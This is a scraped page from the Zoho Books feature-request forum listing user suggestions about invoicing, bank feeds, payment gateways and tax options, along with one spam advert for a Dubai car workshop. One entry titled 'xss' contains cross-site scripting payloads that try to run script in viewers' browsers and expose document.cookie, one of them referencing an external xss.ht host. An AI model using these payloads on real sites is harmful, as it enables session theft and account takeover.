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Zoho Books

Welcome to our feedback forum!

If you have an idea for a new feature that you want to see in Zoho Books, then you've reached the right place.

Feel free to post your ideas, comments, or suggestions in this space.

While we cannot promise a timeframe for everything posted here, we'll definitely consider all your valuable suggestions and work on them based on their feasibility.

Before posting, please ensure the following:
  1. Search if your idea for a feature is already listed below. If yes, then vote for it by clicking the Vote button.
  2. If it’s a new idea, kindly post a detailed description of your suggestion or idea.

If you have any questions or would like to share your feedback on our status updates, please drop an email to support@zohobooks.com


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6133 results found

  1. Set Tags as mandatory, as is done in zoho expense

    We would like to be able to assign that the tags within zoho books can be set as mandatory, as is done in zoho expense

    1 vote
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  2. Item Rate Contract Monitoring

    In contracting industry, billing is based on item rates. We should be able to open project based on item rate contract and not on hours.;;

    1 vote
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  3. Enable Yoco Payment Portal

    Would love to see this payment portal option for online payments due to the fact the 99% of our clients uses the Yoco payment systems even on their e-commerce stores that we develop.

    1 vote
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    0 comments  ·  Online Payments  ·  Admin →
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  4. Please provide a facility to match a bill to the credit card entry and the credit card bill payment from the bank account

    Please provide a facility to match a bill to the credit card entry and the credit card bill payment to the bank account. Once all the bank statements and the credit card statements are imported in Zoho, I should be able to match the bill to the credit card payment and the bank statement entries to the the credit card bill payment

    1 vote
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    0 comments  ·  Expenses & Bills  ·  Admin →
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  5. adding the cardpointe( first data )

    First data is one of the major Merchant solution in North America, its important that zoho having integration with carpointe

    1 vote
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  6. 1 vote
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  7. Firm access like QuickBooks

    I would like to have the same options as a firm in Quickbooks and not have to buy licenses for consultants to access clients under my firm.

    1 vote
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    0 comments  ·  Users & Roles  ·  Admin →
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  8. how to place digital signature in invoice

    unable to find the option to select the location of the signature on invoice template. Please guide

    1 vote
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    0 comments  ·  Invoices  ·  Admin →
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  9. 01. Transaction Rule auto add feature 02. Bulk search/update and add uncategorized bank lines

    1. We can create the Transactions Rules but then we have to go to all the uncategorised bank lines individually. This does not save us any time. The rules should be able to auto pop up on the bank feeds window. We should then be able to select/search ruled lines and add them all at once without looking at them.

    2. This also relates to uncategozied bank lines. I see that we can search in Zoho bank feeds but we can not then select and add multiple lines at once. We cannot not select multiple lines after the search window is shown…

    1 vote
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  10. Create a system where customer balances can be sent by SMS to the phones of those who do not have emails.

    I wish to be able to send invoices and customers balances in bulk at one time. Currently the system allows only sending an invoice or a reminder in a single email. I like the Accounting modules in ZOHO, and I am actually adapting ZOHO for a school, so dispatching invoices or balances one at a time is slow and laborious.
    Some customers do not have emails, but have WhatsApp or SMS and I will like the system to permit balances to be sent by WhatsApp or SMS.

    1 vote
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  11. 1 vote
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    0 comments  ·  Reports  ·  Admin →
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  12. MULTIPLE PREFIX FOR INVOICES IN A YEAR

    IF A COMPANY HAS SPARE SALES AND SERVICES, THEY WOULD LIKE TO MAINTAINING BILL SEPARATE FOR SPARE SALES AND SERVICE RECEIPT ON WITH TWO PREFIXES, FOR EG. SPS/001... & SRR/001.... THIS THING GOOD FOR RECORD FOR B2C AND B2B SALES ALSO

    1 vote
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    0 comments  ·  Invoices  ·  Admin →
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  13. Mercedes workshop Dubai

    Welcome to the website of Munich Motor Works, an independent German and European used car sales and service center established in 2009. Specializing in BMW, Audi, Mercedes, Volkswagen, Bentley, Rolls Royce, Range Rover, Land Rover, Jaguar, and other German & European and prestige brands in Dubai, UAE.

    https://munichmotorworks.ae/mercedes-service-dubai/

    1 vote
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    4 comments  ·  General  ·  Admin →
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  14. AMC Work order Invoicing

    For First Invoicing:
    AMC Work Order with Description & Order Value
    Claim @ 25 % or 50 % or in term of %
    GST
    Total
    For 2nd Invoice
    AMC Work Order with Description & Order Value
    % of 1st Claim Invoice value
    % of 2nd Claim
    % of Final Claim
    GST
    Total

    1 vote
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    0 comments  ·  Invoices  ·  Admin →
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  15. GST waybill print option not available ???

    GST waybill print option is not available need to send the physical waybill with the invoices need it ASAP ???

    1 vote
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    0 comments  ·  Invoices  ·  Admin →
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  16. xss

    TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=prompt(//zheev.xss.ht)>
    <svg onload=write(document.cookie)>
    "><script>prompt(document.cookie)</script>
    <noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">
    "><u>XSS Vulnerability</u><marquee+onstart='alert(document.cookie)'>XSS

    1 vote
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    0 comments  ·  Estimates  ·  Admin →
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  17. Consumption/VAT tax option for bank fee option with bulk payment of invoices and bills

    I see that now there is a bank option for recording bulk payments of both bills and invoices. This is an improvement, but since these are expenses, there should be the option (as with other expenses) to apply a consumtion/VAT tax on these bank fees, as in some countries these are taxable expenses.

    1 vote
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    0 comments  ·  Payments  ·  Admin →
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  18. Bank account QR code

    Hi, Bank Account details can be converted into QR code.

    1 vote
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    0 comments  ·  Banking  ·  Admin →
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  19. Give an option for Credit Customer Balance and Debit Vendor Balance

    While creating a new customer, there should be an option to assign credit opening balance there itself. Creating a credit note and assigning opening balance is difficult to explain to audit team.

    Similar should be an option for Vendors. Will save a lot of manual labour.

    1 vote
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    0 comments  ·  Customers  ·  Admin →
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  20. search for a transaction amount

    The ability to search for a transaction amount within the banking area

    1 vote
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    0 comments  ·  Banking  ·  Admin →
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